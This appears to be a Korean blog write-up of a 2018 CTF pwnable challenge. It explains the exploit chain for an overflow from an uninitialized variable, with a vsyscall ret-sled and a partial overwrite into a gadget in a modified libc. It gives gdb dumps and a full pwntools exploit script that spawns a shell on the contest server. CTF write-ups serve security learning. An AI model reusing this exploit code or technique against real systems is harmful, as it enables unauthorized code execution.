Category : pwnable
nc pwn03.grandprix.whitehatvn.com 2023 file: material.grandprix.whitehatvn.com/pwn03 Note: libc has been modified |
Summary : uninitialized variable leads to bof, redsled with vsyscall, modified libc (contains special gadget), close(0);close(1);
Process
(1) PoW 과정에서 stack 에 입력받는 데이터로 나중에 uninitialized variable를 control 가능.
(2) uninitialized variable이 read의 size로 사용돼서 system(0) 호출시켜서 stack에 special gadget과 가까운 system+32 주소 남기기
(3) bof 발생. PIE + ASLR 이라 주소 아무것도 모름. 고정주소인 vsyscall로 뛰어서 system+32 찌꺼기까지 ret sled. system+32찌꺼기 마지막 1byte 덮어서 special gadget 실행.
(4) close(0); close(1); 때문에 stdin stdout을 stderr로 리다이렉션 시켜줘야함. /bin/sh <&2 >&2로 해결
* 로컬에서는 /bin/sh <&2 >&2로 못할듯. socket일때 가능쓰.
modified libc
$ diff my_libc pwn3_libc
20292c20292
< 0004f430: 0e00 4881 c480 0000 005b c30f 1f44 0000 ..H......[...D..
---
> 0004f430: 0e00 4881 c480 0000 005b 4883 c77f eb1b ..H......[H.....
Special gadget
gdb-peda$ x/2i 0x04F43A
0x4f43a: add rdi,0x7f
0x4f43e: jmp 0x4f45b <system+27>
gdb-peda$ x/6i system+27
0x4f45b <system+27>: call 0x4eeb0 # do_system
0x4f460 <system+32>: test eax,eax
0x4f462 <system+34>: sete al
0x4f465 <system+37>: add rsp,0x8
0x4f469 <system+41>: movzx eax,al
0x4f46c <system+44>: ret
overflow 후 ret 하는 순간 인자가 좀 이상함. rdi를 add 시켜줄 필요가 있었는데 운영진이 준 가젯(0x04f43a)로 해결.
system+32 in stack
[before]
gdb-peda$ x/21a $rbp + 8
0x7fff25408298: 0x563caa44af69 <myfunc+85> 0x6673646166647361
0x7fff254082a8: 0x0 0x0
0x7fff254082b8: 0x0 0x0
0x7fff254082c8: 0x0 0x0
0x7fff254082d8: 0x0 0x0
0x7fff254082e8: 0x0 0x0
0x7fff254082f8: 0x0 0x0
0x7fff25408308: 0x7f6700000000 0x563caa44b268
0x7fff25408318: 0x6c7c611a49771100 0x0
0x7fff25408328: 0x7fff25408370 0x563caa44ab50 <_start>
0x7fff25408338: 0x7f67ded2c460 <system+32>
stack에 찌꺼기 남겼음. 저 전까지 vsyscall로 덮어서 ret sled하고 special gadget 으로 뛰면됨
[after]
gdb-peda$ x/21a $rbp + 8
0x7fff25408298: 0xffffffffff600400 0xffffffffff600400
0x7fff254082a8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082b8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082c8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082d8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082e8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082f8: 0xffffffffff600400 0xffffffffff600400
0x7fff25408308: 0xffffffffff600400 0xffffffffff600400
0x7fff25408318: 0xffffffffff600400 0xffffffffff600400
0x7fff25408328: 0xffffffffff600400 0xffffffffff600400
0x7fff25408338: 0x7f67ded2c43a
gdb-peda$ x/2i 0x7f67ded2c43a
0x7f67ded2c43a: add rdi,0x7f
0x7f67ded2c43e: jmp 0x7f67ded2c45b <system+27>
vsyscall(sys_time) for retsled
0xffffffffff600400: mov rax,0xc9
0xffffffffff600407: syscall
0xffffffffff600409: ret
ex.py
#!/usr/bin/python
from pwn import *
import re
from hashlib import sha512
#s = process('./onehit')
s = remote('pwn03.grandprix.whitehatvn.com', 2023)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send
prefix, head = re.findall('sha512\("([A-Z]+)".*0x([0-9A-Fa-f]+)\.\.\.', ru('interger = '))[0]
integer = 0
while 1:
if sha512(prefix + str(integer)).hexdigest().startswith(head):
print 'sha256sum("{}" + "{}").startswith("{}") == True'.format(prefix, integer, head)
ss(str(integer).ljust(0x100, '\x11'))
break
integer += 1
ru('AntiSPAM machine: You Shall Pass!!!\n')
ru('Echo machine: Would you like to ls -al?')
ss('N0\x00')
ru('Chose a service\n1: Echo\n2: /bin/bash\n3: /bin/sh\n')
ss('asdfadsf\x00')
'''
0x5555f9d42f12 <echo+171>: leave
=> 0x5555f9d42f13 <echo+172>: ret
gdb-peda$ x/30a $rsp
0x7ffcded00e28: 0x6363636363636363 0x6673646166647361
0x7ffcded00e38: 0x0 0x0
0x7ffcded00e48: 0x0 0x0
0x7ffcded00e58: 0x0 0x0
0x7ffcded00e68: 0x0 0x0
0x7ffcded00e78: 0x0 0x0
0x7ffcded00e88: 0x0 0x0
0x7ffcded00e98: 0x7fb600000000 0x5555f9d43268
0x7ffcded00ea8: 0xaf74a440fac61500 0x0
0x7ffcded00eb8: 0x7ffcded00f00 0x5555f9d42b50 <_start>
0x7ffcded00ec8: 0x7fb6cd511460 <system+32> 0x7ffcded00ff0
0x7ffcded00ed8: 0x5555f9d42fef <wannals+111> 0x0
0x7ffcded00ee8: 0x304e000000000000 0x7ffcded00f00
0x7ffcded00ef8: 0xaf74a440fac61500 0x7ffcded00f10
0x7ffcded00f08: 0x5555f9d43050 <main+74> 0x5555f9d43060 <__libc_csu_init>
gdb-peda$ x/2i 0x7fb6cd4c2000 + 0x4F43A
0x7fb6cd51143a: add rdi,0x7f
0x7fb6cd51143e: jmp 0x7fb6cd51145b <system+27>
gdb-peda$ x/i system + 32
0x7fb6cd511460 <system+32>: test eax,eax
'''
special_gadget = 0x4F43A
'''
0x7fb6cd51143a: add rdi,0x7f
0x7fb6cd51143e: jmp 0x7fb6cd51145b <system+27>
'''
vsyscall_ret = 0xffffffffff600400
'''
0xffffffffff600400: mov rax,0xc9
0xffffffffff600407: syscall
0xffffffffff600409: ret
'''
pay = ''
pay += 'a' * (0x7f + 0x10)
pay += '/bin/sh <&2 >&2 ;'
pay = pay.ljust(0xe8, '\x00')
pay += p64(vsyscall_ret) * 20
pay += chr(special_gadget % 0x100)
ru('Only Echo is available\n')
ss(pay)
s.interactive()
s.close()
$ python ex.py
[+] Opening connection to pwn03.grandprix.whitehatvn.com on port 2023: Done
sha256sum("ZEIYJMBUIPYMFPW" + "1212655").startswith("7ca0d") == True
[*] Switching to interactive mode
Echo machine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa............................
............................
............................
$ id
uid=1000(onehit) gid=1000(onehit) groups=1000(onehit)
$ cat /home/onehit/flag
WhiteHat{???????????????????????????}
'CTF > 2018' 카테고리의 다른 글
Tokyo Western CTF 2018 - Neighbor C (0) | 2018.09.03 |
---|---|
Tokyo Western CTF 2018 - load (0) | 2018.09.03 |
SECCON 2017 QUAL - secure_keymanager (0) | 2018.08.22 |
WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore) (0) | 2018.08.20 |
WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop) (0) | 2018.08.19 |